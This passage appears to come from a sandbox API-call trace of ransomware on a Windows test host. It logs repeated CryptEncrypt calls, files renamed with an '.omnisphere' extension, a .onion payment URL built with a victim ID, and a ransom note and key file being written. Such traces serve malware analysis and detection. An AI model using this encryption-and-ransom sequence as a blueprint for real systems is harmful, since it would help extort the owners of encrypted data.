CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.648] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.649] CryptDestroyKey (hKey=0x16396a8) returned 1 [0127.649] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0127.649] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x345, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.650] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.650] GetProcessHeap () returned 0x1600000 [0127.650] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2bc) returned 0x16f6e78 [0127.650] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zazbvqz_svz5b.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zazbvqz_svz5b.flv.lnk.omnisphere")) returned 1 [0127.650] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk.omnisphere.id" [0127.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zazbvqz_svz5b.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.651] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.652] CloseHandle (hObject=0x3c0) returned 1 [0127.652] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.652] CloseHandle (hObject=0x288) returned 1 [0127.652] SetEndOfFile (hFile=0x28c) returned 1 [0127.653] FlushFileBuffers (hFile=0x28c) returned 1 [0127.655] CloseHandle (hObject=0x28c) returned 1 [0127.655] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZazBvQZ_SvZ5b.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.656] GetProcessHeap () returned 0x1600000 [0127.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.656] GetProcessHeap () returned 0x1600000 [0127.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1b68 [0127.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1b68, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.656] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.656] GetProcessHeap () returned 0x1600000 [0127.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x17104a0 [0127.656] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x17104a0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.656] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.656] GetProcessHeap () returned 0x1600000 [0127.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f67d0 [0127.656] PathCombineW (in: pszDest=0x16f67d0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.656] GetProcessHeap () returned 0x1600000 [0127.656] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1701d60 [0127.656] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.656] WriteFile (in: hFile=0x28c, lpBuffer=0x1701d60*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1701d60*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.657] CloseHandle (hObject=0x28c) returned 1 [0127.657] GetProcessHeap () returned 0x1600000 [0127.657] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.657] GetProcessHeap () returned 0x1600000 [0127.657] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.657] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.657] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.657] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.657] CloseHandle (hObject=0x28c) returned 1 [0127.657] GetProcessHeap () returned 0x1600000 [0127.657] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.657] GetProcessHeap () returned 0x1600000 [0127.657] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f6718 | out: hHeap=0x1600000) returned 1 [0127.658] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1eee0f69, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x1eee0f69, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x1eee0f69, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x277, dwReserved0=0x0, dwReserved1=0xd3, cFileName="ZDHnF9i.lnk", cAlternateFileName="")) returned 1 [0127.658] GetProcessHeap () returned 0x1600000 [0127.658] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167b448 [0127.658] PathCombineW (in: pszDest=0x167b448, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="ZDHnF9i.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk" [0127.658] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.658] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\ZDHnF9i.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\zdhnf9i.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.658] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=631) returned 1 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.658] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] GetTickCount () returned 0x115fda6 [0127.659] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0127.660] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0127.660] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.660] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.660] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.660] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x277, lpName=0x0) returned 0x288 [0127.660] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x277) returned 0x1480000 [0127.660] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1669098) returned 1 [0127.661] CryptImportKey (in: hProv=0x1669098, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639b28) returned 1 [0127.661] CryptSetKeyParam (hKey=0x1639b28, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.661] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.662] CryptEncrypt (in: 